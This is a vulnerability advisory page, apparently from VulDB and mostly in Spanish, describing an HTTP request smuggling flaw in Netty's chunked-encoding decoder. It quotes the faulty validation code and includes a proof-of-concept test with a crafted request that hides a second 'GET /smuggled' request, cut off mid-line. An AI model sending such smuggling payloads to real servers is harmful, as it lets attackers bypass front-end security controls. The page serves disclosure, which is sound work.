CVE-2026-93566 in Nettyinformación

Resumen

por VulDB • 2026-09-18

### Resumen Netty omite la validación estricta del tamaño de los fragmentos cuando la línea no tiene extensión de fragmento (`;`), por lo que se acepta una línea con un CR incrustado sin formato (por ejemplo `0\rX`) en lugar de rechazarla, lo que permite el enmascaramiento de solicitudes HTTP.

### Detalles El método `io.netty.handler.codec.http.HttpObjectDecoder#checkChunkExtensions` solo ejecuta el validador estricto `HttpChunkLineValidatingByteProcessor` cuando está presente un carácter `;`:

```java int extensionsStart = line.bytesBefore((byte) ';'); if (extensionsStart == -1) {
return; } ```

Según RFC 9112 https://datatracker.ietf.org/doc/html/rfc9112#appendix-A

`chunk-size = 1*HEXDIG`

### PoC

```java @Test public void test() {
String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked\r\n\r\n" + "0\rX\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "Content-Length: 0\r\n" + "\r\n";

EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, Ch

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Responsable

Redhat

Reservar

2026-09-18

Divulgación

2026-09-18

Moderación

aceptado

Artículo

VDB-407512

CPE

listo

EPSS

0.00000

KEV

no

Actividades

muy bajo

Fuentes

Want to know what is going to be exploited?

We predict KEV entries!